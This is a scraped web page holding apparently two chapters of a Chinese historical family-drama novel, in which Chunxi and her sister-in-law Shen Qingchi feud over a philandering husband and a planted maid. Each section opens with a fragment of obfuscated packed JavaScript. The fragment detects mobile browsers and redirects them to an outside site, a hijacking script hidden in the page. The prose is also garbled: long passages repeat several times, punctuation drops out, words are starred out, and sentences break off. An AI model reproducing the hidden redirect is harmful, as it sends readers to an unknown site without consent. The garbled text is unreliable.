35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061313|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我自然是一番好心,”春喜面不改色,“我家妹妹善良大度,体贴入微,太傅府不仅毫无感念,还由着妹婿胡闹,妹妹愿意委曲求全,我们侯府却不能不要脸面。” 这话说得好像太傅府不要脸一样。 赵氏气得胸口不断起伏,忍不住怒道:“曹春喜,你到底想做什么?” “很简单,让妹婿来斟茶认个错,并且写下保证书,以后不再到外面拈花惹草,我家妹妹身子弱,我不放心,得让娘家人留在太傅府照顾她。” 春喜理直气壮地提出要求,不等赵氏开口,沈清迟便急急道:“我这里有人照顾,我不需要你假好心。” 沈清迟先回侯府说了春喜怀孕的事,还让沈金花寻摸人给春喜添堵,她比谁都清楚,春喜不是要找人来照顾她,而是要报复她,让她也尝尝怀着孕还要跟人争宠的滋味。 沈清迟刚说完,沈金花就不赞同地开口:“你看看你都憔悴成什么样了还嘴硬呢,别人家的少夫人怀孕,身边怎么也得有四五个人照顾,你屋里拢共就一个丫鬟,这太傅府分明是没有把你和肚子里的小金孙当回事呢。” 沈金花故意加重了“小金孙”三个字,提高沈清迟的身价。 赵氏听到这话都快气笑了:“之前她被抓进大理寺,你们这些娘家人有关心过她一次吗,我们要是不把她和肚子里的孩子当回事,能出了一万两把人赎回来?” 沈金花面不改色气不喘,辩解道:“我们那个时候也在牢里,而且要不是迟儿心生邪念要害她大嫂,我们也不至于被连累,说到底还是因为你们派来伺候迟儿的人太少了,才会导致她放着大好的日子不过,胡思乱想钻牛角尖。” “……” 胡搅蛮缠、蛮不讲理。 活了这么多年,她还没有见过脸皮比沈家人更厚的人! 赵氏被气得说不出话来,沈金花继续道:“就这么说定了,从今天开始,我和就莹儿留下来照顾迟儿。” “不行!我不要你们照顾!” 沈清迟大声拒绝,眼泪都快掉下来了。 她这个小姑来瀚京这么多年,却没有改掉在村里的贱民习惯,磨牙抠鼻屎就算了,还会随地吐痰,更重要的是,沈金花特别喜欢占便宜,要是让沈金花留下来,她一定会被逼疯的。 沈清迟边说边向云晚棠投去求助的目光,希望五婶能帮帮她。 然而不等云晚棠开口,下人来报:“沈大人来府上了,老太爷请四少夫人和沈夫人一起去前厅说话。” 沈清渊来了太傅府,还惊动了太傅,赵氏暗道不妙,不甘耽误,连忙带着众人去往前厅。 厅里,李继贤跪在地上,脸上又添了几道巴掌印。 清远侯今天没来,只有沈家三位叔叔,还有沈清越和沈清宇来了,沈清渊是这些人里身份最高的,端坐在太傅下首的位置。 听到脚步声,沈清渊立刻起身,径直走到春喜身边,将她上下打量了一番,还是不放心地问:“没事吧?” 这个泼妇能有什么事? 赵氏没忍住,朝着沈清渊阴阳怪气:“沈夫人冲到府里,打了我儿,搅得府里上下鸡犬不宁,威风极了,她能有什么事?” 沈清渊把春喜拉到身后,沉沉开口:“内子做事向来有分寸,夫人不妨先问问自己儿子做了什么好事。” 赵氏:“……” 情,而且今日夫君并未动手打我,是大嫂突然跑来挑拨离间才害我动胎气的。” 沈清迟维护了李继贤一番,把所有的错都怪到春喜头上。 赵氏闻言冷笑:“人家小夫妻感情稳定,什么事都没有,倒是沈夫人,听到一些捕风捉影的话就拉着全家老小跑来兴师问罪,也不知道安的是什么心。” “我自然是一番好心,”春喜面不改色,“我家妹妹善良大度,体贴入微,太傅府不仅毫无感念,还由着妹婿胡闹,妹妹愿意委曲求全,我们侯府却不能不要脸面。” 这话说得好像太傅府不要脸一样。 赵氏气得胸口不断起伏,忍不住怒道:“曹春喜,你到底想做什么?” “很简单,让妹婿来斟茶认个错,并且写下保证书,以后不再到外面拈花惹草,我家妹妹身子弱,我不放心,得让娘家人留在太傅府照顾她。” 春喜理直气壮地提出要求,不等赵氏开口,沈清迟便急急道:“我这里有人照顾,我不需要你假好心。” 沈清迟先回侯府说了春喜怀孕的事,还让沈金花寻摸人给春喜添堵,她比谁都清楚,春喜不是要找人来照顾她,而是要报复她,让她也尝尝怀着孕还要跟人争宠的滋味。 沈清迟刚说完,沈金花就不赞同地开口:“你看看你都憔悴成什么样了还嘴硬呢,别人家的少夫人怀孕,身边怎么也得有四五个人照顾,你屋里拢共就一个丫鬟,这太傅府分明是没有把你和肚子里的小金孙当回事呢。” 沈金花故意加重了“小金孙”三个字,提高沈清迟的身价。 赵氏听到这话都快气笑了:“之前她被抓进大理寺,你们这些娘家人有关心过她一次吗,我们要是不把她和肚子里的孩子当回事,能出了一万两把人赎回来?” 沈金花面不改色气不喘,辩解道:“我们那个时候也在牢里,而且要不是迟儿心生邪念要害她大嫂,我们也不至于被连累,说到底还是因为你们派来伺候迟儿的人太少了,才会导致她放着大好的日子不过,胡思乱想钻牛角尖。” “……” 胡搅蛮缠、蛮不讲理。 活了这么多年,她还没有见过脸皮比沈家人更厚的人! 赵氏被气得说不出话来,沈金花继续道:“就这么说定了,从今天开始,我和就莹儿留下来照顾迟儿。” “不行!我不要你们照顾!” 沈清迟大声拒绝,眼泪都快掉下来了。 她这个小姑来瀚京这么多年,却没有改掉在村里的贱民习惯,磨牙抠鼻屎就算了,还会随地吐痰,更重要的是,沈金花特别喜欢占便宜,要是让沈金花留下来,她一定会被逼疯的。 沈清迟边说边向云晚棠投去求助的目光,希望五婶能帮帮她。 然而不等云晚棠开口,下人来报:“沈大人来府上了,老太爷请四少夫人和沈夫人一起去前厅说话。” 沈清渊来了太傅府,还惊动了太傅,赵氏暗道不妙,不甘耽误,连忙带着众人去往前厅。 厅里,李继贤跪在地上,脸上又添了几道巴掌印。 清远侯今天没来,只有沈家三位叔叔,还有沈清越和沈清宇来了,沈清渊是这些人里身份最高的,端坐在太傅下首的位置。 听到脚步声,沈清渊立刻起身,径直走到春喜身边,将她上下打量了一番,还是不放心地问:“没事吧?” 这个泼妇能有什么事? 赵氏没忍住,朝着沈清渊阴阳怪气:“沈夫人冲到府里,打了我儿,搅得府里上下鸡犬不宁,威风极了,她能有什么事?” 沈清渊把春喜拉到身后,沉沉开口:“内子做事向来有分寸,夫人不妨先问问自己儿子做了什么好事。” 赵氏:“……” 情,而且今日夫君并未动手打我,是大嫂突然跑来挑拨离间才害我动胎气的。” 沈清迟维护了李继贤一番,把所有的错都怪到春喜头上。 赵氏闻言冷笑:“人家小夫妻感情稳定,什么事都没有,倒是沈夫人,听到一些捕风捉影的话就拉着全家老小跑来兴师问罪,也不知道安的是什么心。” “我自然是一番好心,”春喜面不改色,“我家妹妹善良大度,体贴入微,太傅府不仅毫无感念,还由着妹婿胡闹,妹妹愿意委曲求全,我们侯府却不能不要脸面。” 这话说得好像太傅府不要脸一样。 赵氏气得胸口不断起伏,忍不住怒道:“曹春喜,你到底想做什么?” “很简单,让妹婿来斟茶认个错,并且写下保证书,以后不再到外面拈花惹草,我家妹妹身子弱,我不放心,得让娘家人留在太傅府照顾她。” 春喜理直气壮地提出要求,不等赵氏开口,沈清迟便急急道:“我这里有人照顾,我不需要你假好心。” 沈清迟先回侯府说了春喜怀孕的事,还让沈金花寻摸人给春喜添堵,她比谁都清楚,春喜不是要找人来照顾她,而是要报复她,让她也尝尝怀着孕还要跟人争宠的滋味。 沈清迟刚说完,沈金花就不赞同地开口:“你看看你都憔悴成什么样了还嘴硬呢,别人家的少夫人怀孕,身边怎么也得有四五个人照顾,你屋里拢共就一个丫鬟,这太傅府分明是没有把你和肚子里的小金孙当回事呢。” 沈金花故意加重了“小金孙”三个字,提高沈清迟的身价。 赵氏听到这话都快气笑了:“之前她被抓进大理寺,你们这些娘家人有关心过她一次吗,我们要是不把她和肚子里的孩子当回事,能出了一万两把人赎回来?” 沈金花面不改色气不喘,辩解道:“我们那个时候也在牢里,而且要不是迟儿心生邪念要害她大嫂,我们也不至于被连累,说到底还是因为你们派来伺候迟儿的人太少了,才会导致她放着大好的日子不过,胡思乱想钻牛角尖。” “……” 胡搅蛮缠、蛮不讲理。 活了这么多年,她还没有见过脸皮比沈家人更厚的人! 赵氏被气得说不出话来,沈金花继续道:“就这么说定了,从今天开始,我和就莹儿留下来照顾迟儿。” “不行!我不要你们照顾!” 沈清迟大声拒绝,眼泪都快掉下来了。 她这个小姑来瀚京这么多年,却没有改掉在村里的贱民习惯,磨牙抠鼻屎就算了,还会随地吐痰,更重要的是,沈金花特别喜欢占便宜,要是让沈金花留下来,她一定会被逼疯的。 沈清迟边说边向云晚棠投去求助的目光,希望五婶能帮帮她。 然而不等云晚棠开口,下人来报:“沈大人来府上了,老太爷请四少夫人和沈夫人一起去前厅说话。” 沈清渊来了太傅府,还惊动了太傅,赵氏暗道不妙,不甘耽误,连忙带着众人去往前厅。 厅里,李继贤跪在地上,脸上又添了几道巴掌印。 清远侯今天没来,只有沈家三位叔叔,还有沈清越和沈清宇来了,沈清渊是这些人里身份最高的,端坐在太傅下首的位置。 听到脚步声,沈清渊立刻起身,径直走到春喜身边,将她上下打量了一番,还是不放心地问:“没事吧?” 这个泼妇能有什么事? 赵氏没忍住,朝着沈清渊阴阳怪气:“沈夫人冲到府里,打了我儿,搅得府里上下鸡犬不宁,威风极了,她能有什么事?” 沈清渊把春喜拉到身后,沉沉开口:“内子做事向来有分寸,夫人不妨先问问自己儿子做了什么好事。” 赵氏:“……” 第263章 我虽冷血,但内子心善 沈清渊把春喜拉到自己的位置坐下然后才扫了沈清迟一眼。 那一眼很冷沈清迟被看得心头一紧。 她在春喜面前还敢分辨几句面对沈清渊却只觉得心虚。 她这个大哥在京兆府办了整整十年的案子在他面前她总感觉自己所有的心思都无处遁形。 她虽然怨恨春喜但细细想来不管是过去还是现在春喜并没有主动害过她都是她自己先招惹春喜的。 沈清迟低下头避开沈清渊的目光见她如此 太傅说的是赵氏却让沈清迟的脸一下子涨红她连忙挨个叫人眼看要叫到沈清渊沈清渊抢先开口:“别叫我大哥我没有你这种挑唆外人谋害大嫂的妹妹。” 沈清渊直接把这件事挑明沈清迟顿时难堪的白了脸。 赵氏心疼自己儿子还跪在地上忍不住开口:“沈大人既然不认这个妹妹今天为什么还要来太傅府**?” 沈清渊抬眸认真道:“我虽绝情但内子心善我今日是为内子走这一遭的。” 沈家众人:“……”??? 谁心善?曹春喜心善? 沈清渊你都进御史台了还这么睁着眼睛说瞎话合适吗? 赵氏也觉得沈清渊这话很可笑但有太傅坐镇她不好多说什么怕被公爹觉得没有教养。 沈清迟被沈清渊这么当众拒绝脸色越发白了但这么多人看着她也只能略过沈清渊将继续喊人。 等她挨个打完招呼太傅立刻训斥起李继贤来:“混账东西自己的夫人身怀六甲不知有多辛苦煎熬你却去花街柳巷寻欢作乐我太傅府的脸都被你丢光了!” 太傅动了怒李继贤全然没了刚刚在春喜面前的嚣张他底气不足地解释:“祖父我就去了这一次。” 沈清迟见状立刻跪到李继贤身边:“不能侍奉夫君是我的错还求祖父莫要责怪夫君。” 这话一出方才还在为沈清迟各种抱不平的沈家人全都变了脸色沈清宇更是直接气得骂出声:“蠢货你给我闭嘴你不要脸我们侯府还要脸呢。” 清远侯府虽然早就没落但沈清宇和沈清越还有着侯府公子的自傲沈清迟这样卑微讨好也让他们觉得没脸。 沈清迟在大理寺的时候就对沈家人寒了心这会儿见沈家人和春喜一起来婆家**让她难堪更是连他们也恨上了。 她忍不住反驳:“我被关在大理寺的时候,侯府没有一个人关心我,我早已是太傅府的人了,三哥现在凭什么来指责我?” “要不是你撺掇二舅母做蠢事,我们也不至于被连累入狱,现在外祖一家彻底跟我们断了往来,你还有脸要我们关心?” 沈清宇说起这些就怨念十足。 沈家这群穷鬼住进侯府后,把侯府弄得乌烟瘴气,他和二哥好不容易说服外祖父继续支持他们在云氏族学念书,直到孝期过后考取功名,谁知沈清迟竟然撺掇二舅母干出****这种蠢事。 二舅母被判了**,莫家的名声也因此受损,外祖父更是震怒,拒绝再为他们提供帮助,他们只能从云氏族学退学,在家自学。 现在他们的出路都被断了,沈清迟身为太傅府四夫人却不能帮他们争取好处,反而还要连累他们被瞧不起,那这个妹妹要来有什么用? 眼看两人要当场吵起来,沈清越出声打断:“好了,两家长辈坐在这里不是听你们两个吵架的。” 这话一出,两人才安静下来。 看在沈清渊的面子上,太傅逼着李继贤跟沈清迟道了歉,并且写下保证书,以后再也不出去寻花问柳,沈金花要带着莹儿留下来照顾沈清迟,太傅也做主同意了。 事情解决,沈金花第一时间让莹儿把李继贤扶起来。 这么多人都在,李继贤只觉得丢人,看也没看莹儿,沈清迟却气得险些拧烂手里的帕子。 她如何不知莹儿是沈金花准备塞给春喜添堵的,现在春喜反手把人送到她这里,她简直比吃了苍蝇还难受。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070189|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈清迟忍不住怨毒地瞪着春喜,下一刻却听到春喜问:“妹妹这么看着我做什么,难道觉得妹婿做得还不够,还没解气?” “我根本就没有对夫君生过气,分明是大嫂还没看够我的笑话,不肯放过我。” 春喜坐在那里实在是太气定神闲了,衬得沈清迟狼狈不堪,她实在没办法,心平气和地跟春喜说话。 沈清迟刚说完,就听到春喜说:“我不过去医馆问了下助孕的药方,妹妹就关心到恨不能宣扬得人尽皆知,我也礼尚往来关心一下妹妹,怎么妹妹就受不住了呢?” 沈清迟:“……” 事情解决,等春喜和沈清渊离开,赵氏迫不及待地把沈清迟叫到自己院中。 “太傅府才刚花了大价钱把你从大理寺赎回来,你不好好在家养胎,又去招惹曹春喜做什么?” 一进门,赵氏对着沈清迟就是劈头盖脸一通骂。 沈清迟不敢攀扯云晚棠,只能小声辩解:“大嫂现在已经怀上了,就算别人知道这件事也不会对大嫂造成任何影响,而且我也没有大肆宣扬。” “你知道这些闲言碎语不会对她造成什么影响,为什么还要去说,你脑子有病吗?” 沈清迟惨白着脸,答不上来。 她做这件事不是为了报复春喜,而是冲萧清禾去的,她就是想帮帮五婶,只是没想到又办砸了。 沈清迟低着头不说话了,赵氏看她这样就来气,砸了茶杯让她滚。 沈清迟不敢停留,连忙回了自己的院子。 一进院就听到沈金花的抱怨:“你这屋里瞧着怎么这么寒酸啊,你不为自己争也得为肚子里的孩子争啊。” 沈清迟不想理会沈金花,她进屋找了一圈,没见到莹儿,立刻问:“莹儿怎么不在,她去哪儿了?” “我让她去照顾侄婿啦,你大嫂那一巴掌打得挺狠的,有莹儿帮着说说好话,侄婿才不会记恨咱们嘛。” 沈清迟:“……” 第264章 宣战 沈清迟扭头就去找李继贤。 她进门时,莹儿正在帮李继贤的脸上擦药,两人距离很近,姿势瞧着有些暧昧。 沈清迟脸色一变,冲过去就狠狠甩了莹儿一巴掌:“**!” 莹儿被打得惊叫一声,捂着脸躲到一边,沈清迟还想再打,李继贤整个人挡在莹儿面前:“你又来发什么疯?” 沈清迟今天才知道李继贤在外面跟妓子玩乐,当着春喜的面她虽然说不介意,但这会儿看到李继贤护着莹儿,想到李继贤跟别的女人睡在一起,沈清迟感觉又恶心又难受。 她红着眼道:“我没有发疯,莹儿和小姑是来照顾我的,我要带她走。” 沈清迟说着要越过李继贤拽走莹儿,胳膊被李继贤重重地打开:“你们沈家人不让我出去玩,还送了这么个小姑娘来,是什么意思难道还不明显?” 被逼着写下保证书当众丢了脸,李继贤憋了一肚子的邪火,莹儿主动送到他面前,他自然是要收下的。 听出李继贤话里的意思,沈清迟眼底顿时蓄满了泪,她强撑着理智说:“她是曹春喜送来的人,肯定没安好心,我可以另外找人伺候夫君。” “曹春喜送来的又如何,人都是我的了,她难道还敢帮着曹春喜害我?” 李继贤说着一把将莹儿揽入怀中,在她脸颊用力亲了一下。 莹儿虽然早有准备,但还是忍不住羞红了脸,沈清迟则是气得落下泪来:“李继贤,你浑蛋!” 沈清迟呜咽出声,李继贤毫无愧疚,理直气壮道:“你谋害长嫂,若不是我们家出钱将你赎回来,你说不定已经**,我现在不过是睡个女人,你再在这里跟我乱叫一句试试。” 李继贤话里明显带了不悦,沈清迟到底不敢跟他叫板,只能流着泪去找云晚棠:“五婶,夫君他非要留下曹春喜送来的莹儿,我该怎么办啊?” “那是你大嫂专门送来帮你分担的人,祖父和你婆母都同意了,你难道还要把人赶走?” 云晚棠反问,声音虽柔,却莫名有些强势。 沈清迟也知道这件事无法扭转,抽噎着说:“可曹春喜是故意报复我的,夫君把人留下,那曹春喜的计谋就得逞了,我不想让她得意。” 沈清迟盼着云晚棠能像以前那样安慰自己一番,然而下一刻却听到云晚棠说:“可你斗不过她,不是吗?” 沈清迟猛然抬头,泪眼朦胧地看着云晚棠,云晚棠淡淡道:“好了,你还怀着孕呢,别哭了,好好回去养胎吧。” 云晚棠明显 的疏离让沈清迟很心慌,她忍不住解释:“五婶,我不是故意去招惹曹春喜的,我是想帮五婶……” “你想帮我什么?”云晚棠打断沈清迟,语气冷下去,“我有说过要你帮我做什么事吗?” “……” 沈清迟哑口无言。 没有。 五婶从来都没有说过要她帮忙做什么事,是她前些日子听到五婶为了卫凌泽和萧清禾的事忧心,又无意中听到春喜和萧清禾去求过助孕的方子,所以擅作主张把这件事宣扬出去,还暗示沈家人可以趁春喜怀孕往大哥房里塞人。 她所做的一切都是她的自以为是,跟五婶没有半点关系。 沈清迟的心往下坠了坠,她的思绪很乱,过了好一会儿忍不住问:“五婶知道夫君前些日子一直宿在花街柳巷吗?” “知道。” 云晚棠答得毫不犹豫,且没再给出更多的解释,沈清迟的眼泪涌得更多了:“五婶早就知道为什么不告诉我?” “你知道以后能做什么呢?” 云晚棠反问,沈清迟张了张嘴,说不出话来。 她早就被李继贤骗了身子,后来还是靠着五婶怜惜才被扶正的,李继贤知道她没有娘家人可以依仗,根本不曾把她放在眼里,就算她知道李继贤在外面鬼混,也不过是哭闹一番,自取其辱。 那五婶为什么不帮忙劝阻一下呢? 沈清迟想问,话到嘴边又咽了下去。 五婶待她已经足够亲厚了,但她毕竟跟五婶没有血缘关系,五婶凭什么要帮她劝阻李继贤呢? 话题到此终止,呆站了一会儿,沈清迟回过神,干巴巴道:“那我回去了,就不打扰五婶了。” 云晚棠没有挽留,沈清迟转过身,落荒而逃。 她感受到了云晚棠的冷淡和疏离,却没有像对春喜那样生出怨怼,反而自责自己实在是太没用了。 五婶帮了她一次又一次,她却帮不上五婶什么忙,还总是给五婶惹麻烦,五婶不想理她也是应该的。 沈清迟走了没一会儿,赵氏便又来找到云晚棠。 她找人打听过了,沈清迟不仅招惹了春喜,还说看到萧清禾也去那个医馆要了助孕的方子,现在外面都在传萧清禾生不出孩子所以才容不下卫凌泽在外面的私生子。 赵氏到底阅历丰富。 沈清迟报复春喜还情有可原,但还放出关于萧清禾的风声就有些奇怪了。 “沈清迟这次犯蠢是为了帮五弟妹吧?” 赵氏开门见山地问,虽是问话,语气却很笃定。 云晚棠没有否认,柔柔道:“我没想到她这么的不中用,连累贤儿是我的错,大嫂放心,我会补偿贤儿的。” 听到这话,赵氏心里有了谱,她忍不住叹气:“沈清迟婚前失身,原本让她给贤儿做妾我都是瞧不上的,但五弟妹说沈清渊是个有真本事的,把她扶正日后会有好处,眼下看来五弟妹确实很有眼光,但她和曹春喜的关系已然闹僵,沈清渊爬得再高,咱们也沾不上光啊。” 这一番话透露出赵氏对这桩婚事浓浓的不满。 云晚棠当即道:“这桩婚事是我看走了眼,大嫂放心,等孩子平安出生,日后我会另为贤儿再说门好亲事,等夫君在瀚京站稳脚跟,再为贤儿谋个好差事。” 听到最后,赵氏脸上带了笑:“我就知道弟妹是个有本事的,有你帮贤儿操持着,我很放心。” 赵氏说完,笑盈盈地离开。 云晚棠亲自送她到院外,看着她离开的背影,云晚棠的眼神一点点冷下去。 这次曹春喜真的是在报复沈清迟还是在跟她宣战? 的疏离让沈清迟很心慌,她忍不住解释:“五婶,我不是故意去招惹曹春喜的,我是想帮五婶……” “你想帮我什么?”云晚棠打断沈清迟,语气冷下去,“我有说过要你帮我做什么事吗?” “……” 沈清迟哑口无言。 没有。 五婶从来都没有说过要她帮忙做什么事,是她前些日子听到五婶为了卫凌泽和萧清禾的事忧心,又无意中听到春喜和萧清禾去求过助孕的方子,所以擅作主张把这件事宣扬出去,还暗示沈家人可以趁春喜怀孕往大哥房里塞人。 她所做的一切都是她的自以为是,跟五婶没有半点关系。 沈清迟的心往下坠了坠,她的思绪很乱,过了好一会儿忍不住问:“五婶知道夫君前些日子一直宿在花街柳巷吗?” “知道。” 云晚棠答得毫不犹豫,且没再给出更多的解释,沈清迟的眼泪涌得更多了:“五婶早就知道为什么不告诉我?” “你知道以后能做什么呢?” 云晚棠反问,沈清迟张了张嘴,说不出话来。 她早就被李继贤骗了身子,后来还是靠着五婶怜惜才被扶正的,李继贤知道她没有娘家人可以依仗,根本不曾把她放在眼里,就算她知道李继贤在外面鬼混,也不过是哭闹一番,自取其辱。 那五婶为什么不帮忙劝阻一下呢? 沈清迟想问,话到嘴边又咽了下去。 五婶待她已经足够亲厚了,但她毕竟跟五婶没有血缘关系,五婶凭什么要帮她劝阻李继贤呢? 话题到此终止,呆站了一会儿,沈清迟回过神,干巴巴道:“那我回去了,就不打扰五婶了。” 云晚棠没有挽留,沈清迟转过身,落荒而逃。 她感受到了云晚棠的冷淡和疏离,却没有像对春喜那样生出怨怼,反而自责自己实在是太没用了。 五婶帮了她一次又一次,她却帮不上五婶什么忙,还总是给五婶惹麻烦,五婶不想理她也是应该的。 沈清迟走了没一会儿,赵氏便又来找到云晚棠。 她找人打听过了,沈清迟不仅招惹了春喜,还说看到萧清禾也去那个医馆要了助孕的方子,现在外面都在传萧清禾生不出孩子所以才容不下卫凌泽在外面的私生子。 赵氏到底阅历丰富。 沈清迟报复春喜还情有可原,但还放出关于萧清禾的风声就有些奇怪了。 “沈清迟这次犯蠢是为了帮五弟妹吧?” 赵氏开门见山地问,虽是问话,语气却很笃定。 云晚棠没有否认,柔柔道:“我没想到她这么的不中用,连累贤儿是我的错,大嫂放心,我会补偿贤儿的。” 听到这话,赵氏心里有了谱,她忍不住叹气:“沈清迟婚前失身,原本让她给贤儿做妾我都是瞧不上的,但五弟妹说沈清渊是个有真本事的,把她扶正日后会有好处,眼下看来五弟妹确实很有眼光,但她和曹春喜的关系已然闹僵,沈清渊爬得再高,咱们也沾不上光啊。” 这一番话透露出赵氏对这桩婚事浓浓的不满。 云晚棠当即道:“这桩婚事是我看走了眼,大嫂放心,等孩子平安出生,日后我会另为贤儿再说门好亲事,等夫君在瀚京站稳脚跟,再为贤儿谋个好差事。” 听到最后,赵氏脸上带了笑:“我就知道弟妹是个有本事的,有你帮贤儿操持着,我很放心。” 赵氏说完,笑盈盈地离开。 云晚棠亲自送她到院外,看着她离开的背影,云晚棠的眼神一点点冷下去。 这次曹春喜真的是在报复沈清迟还是在跟她宣战? 的疏离让沈清迟很心慌,她忍不住解释:“五婶,我不是故意去招惹曹春喜的,我是想帮五婶……” “你想帮我什么?”云晚棠打断沈清迟,语气冷下去,“我有说过要你帮我做什么事吗?” “……” 沈清迟哑口无言。 没有。 五婶从来都没有说过要她帮忙做什么事,是她前些日子听到五婶为了卫凌泽和萧清禾的事忧心,又无意中听到春喜和萧清禾去求过助孕的方子,所以擅作主张把这件事宣扬出去,还暗示沈家人可以趁春喜怀孕往大哥房里塞人。 她所做的一切都是她的自以为是,跟五婶没有半点关系。 沈清迟的心往下坠了坠,她的思绪很乱,过了好一会儿忍不住问:“五婶知道夫君前些日子一直宿在花街柳巷吗?” “知道。” 云晚棠答得毫不犹豫,且没再给出更多的解释,沈清迟的眼泪涌得更多了:“五婶早就知道为什么不告诉我?” “你知道以后能做什么呢?” 云晚棠反问,沈清迟张了张嘴,说不出话来。 她早就被李继贤骗了身子,后来还是靠着五婶怜惜才被扶正的,李继贤知道她没有娘家人可以依仗,根本不曾把她放在眼里,就算她知道李继贤在外面鬼混,也不过是哭闹一番,自取其辱。 那五婶为什么不帮忙劝阻一下呢? 沈清迟想问,话到嘴边又咽了下去。 五婶待她已经足够亲厚了,但她毕竟跟五婶没有血缘关系,五婶凭什么要帮她劝阻李继贤呢? 话题到此终止,呆站了一会儿,沈清迟回过神,干巴巴道:“那我回去了,就不打扰五婶了。” 云晚棠没有挽留,沈清迟转过身,落荒而逃。 她感受到了云晚棠的冷淡和疏离,却没有像对春喜那样生出怨怼,反而自责自己实在是太没用了。 五婶帮了她一次又一次,她却帮不上五婶什么忙,还总是给五婶惹麻烦,五婶不想理她也是应该的。 沈清迟走了没一会儿,赵氏便又来找到云晚棠。 她找人打听过了,沈清迟不仅招惹了春喜,还说看到萧清禾也去那个医馆要了助孕的方子,现在外面都在传萧清禾生不出孩子所以才容不下卫凌泽在外面的私生子。 赵氏到底阅历丰富。 沈清迟报复春喜还情有可原,但还放出关于萧清禾的风声就有些奇怪了。 “沈清迟这次犯蠢是为了帮五弟妹吧?” 赵氏开门见山地问,虽是问话,语气却很笃定。 云晚棠没有否认,柔柔道:“我没想到她这么的不中用,连累贤儿是我的错,大嫂放心,我会补偿贤儿的。” 听到这话,赵氏心里有了谱,她忍不住叹气:“沈清迟婚前失身,原本让她给贤儿做妾我都是瞧不上的,但五弟妹说沈清渊是个有真本事的,把她扶正日后会有好处,眼下看来五弟妹确实很有眼光,但她和曹春喜的关系已然闹僵,沈清渊爬得再高,咱们也沾不上光啊。” 这一番话透露出赵氏对这桩婚事浓浓的不满。 云晚棠当即道:“这桩婚事是我看走了眼,大嫂放心,等孩子平安出生,日后我会另为贤儿再说门好亲事,等夫君在瀚京站稳脚跟,再为贤儿谋个好差事。” 听到最后,赵氏脸上带了笑:“我就知道弟妹是个有本事的,有你帮贤儿操持着,我很放心。” 赵氏说完,笑盈盈地离开。 云晚棠亲自送她到院外,看着她离开的背影,云晚棠的眼神一点点冷下去。 这次曹春喜真的是在报复沈清迟还是在跟她宣战? 的疏离让沈清迟很心慌,她忍不住解释:“五婶,我不是故意去招惹曹春喜的,我是想帮五婶……” “你想帮我什么?”云晚棠打断沈清迟,语气冷下去,“我有说过要你帮我做什么事吗?” “……” 沈清迟哑口无言。 没有。 五婶从来都没有说过要她帮忙做什么事,是她前些日子听到五婶为了卫凌泽和萧清禾的事忧心,又无意中听到春喜和萧清禾去求过助孕的方子,所以擅作主张把这件事宣扬出去,还暗示沈家人可以趁春喜怀孕往大哥房里塞人。 她所做的一切都是她的自以为是,跟五婶没有半点关系。 沈清迟的心往下坠了坠,她的思绪很乱,过了好一会儿忍不住问:“五婶知道夫君前些日子一直宿在花街柳巷吗?” “知道。” 云晚棠答得毫不犹豫,且没再给出更多的解释,沈清迟的眼泪涌得更多了:“五婶早就知道为什么不告诉我?” “你知道以后能做什么呢?” 云晚棠反问,沈清迟张了张嘴,说不出话来。 她早就被李继贤骗了身子,后来还是靠着五婶怜惜才被扶正的,李继贤知道她没有娘家人可以依仗,根本不曾把她放在眼里,就算她知道李继贤在外面鬼混,也不过是哭闹一番,自取其辱。 那五婶为什么不帮忙劝阻一下呢? 沈清迟想问,话到嘴边又咽了下去。 五婶待她已经足够亲厚了,但她毕竟跟五婶没有血缘关系,五婶凭什么要帮她劝阻李继贤呢? 话题到此终止,呆站了一会儿,沈清迟回过神,干巴巴道:“那我回去了,就不打扰五婶了。” 云晚棠没有挽留,沈清迟转过身,落荒而逃。 她感受到了云晚棠的冷淡和疏离,却没有像对春喜那样生出怨怼,反而自责自己实在是太没用了。 五婶帮了她一次又一次,她却帮不上五婶什么忙,还总是给五婶惹麻烦,五婶不想理她也是应该的。 沈清迟走了没一会儿,赵氏便又来找到云晚棠。 她找人打听过了,沈清迟不仅招惹了春喜,还说看到萧清禾也去那个医馆要了助孕的方子,现在外面都在传萧清禾生不出孩子所以才容不下卫凌泽在外面的私生子。 赵氏到底阅历丰富。 沈清迟报复春喜还情有可原,但还放出关于萧清禾的风声就有些奇怪了。 “沈清迟这次犯蠢是为了帮五弟妹吧?” 赵氏开门见山地问,虽是问话,语气却很笃定。 云晚棠没有否认,柔柔道:“我没想到她这么的不中用,连累贤儿是我的错,大嫂放心,我会补偿贤儿的。” 听到这话,赵氏心里有了谱,她忍不住叹气:“沈清迟婚前失身,原本让她给贤儿做妾我都是瞧不上的,但五弟妹说沈清渊是个有真本事的,把她扶正日后会有好处,眼下看来五弟妹确实很有眼光,但她和曹春喜的关系已然闹僵,沈清渊爬得再高,咱们也沾不上光啊。” 这一番话透露出赵氏对这桩婚事浓浓的不满。 云晚棠当即道:“这桩婚事是我看走了眼,大嫂放心,等孩子平安出生,日后我会另为贤儿再说门好亲事,等夫君在瀚京站稳脚跟,再为贤儿谋个好差事。” 听到最后,赵氏脸上带了笑:“我就知道弟妹是个有本事的,有你帮贤儿操持着,我很放心。” 赵氏说完,笑盈盈地离开。 云晚棠亲自送她到院外,看着她离开的背影,云晚棠的眼神一点点冷下去。 这次曹春喜真的是在报复沈清迟还是在跟她宣战? 的疏离让沈清迟很心慌,她忍不住解释:“五婶,我不是故意去招惹曹春喜的,我是想帮五婶……” 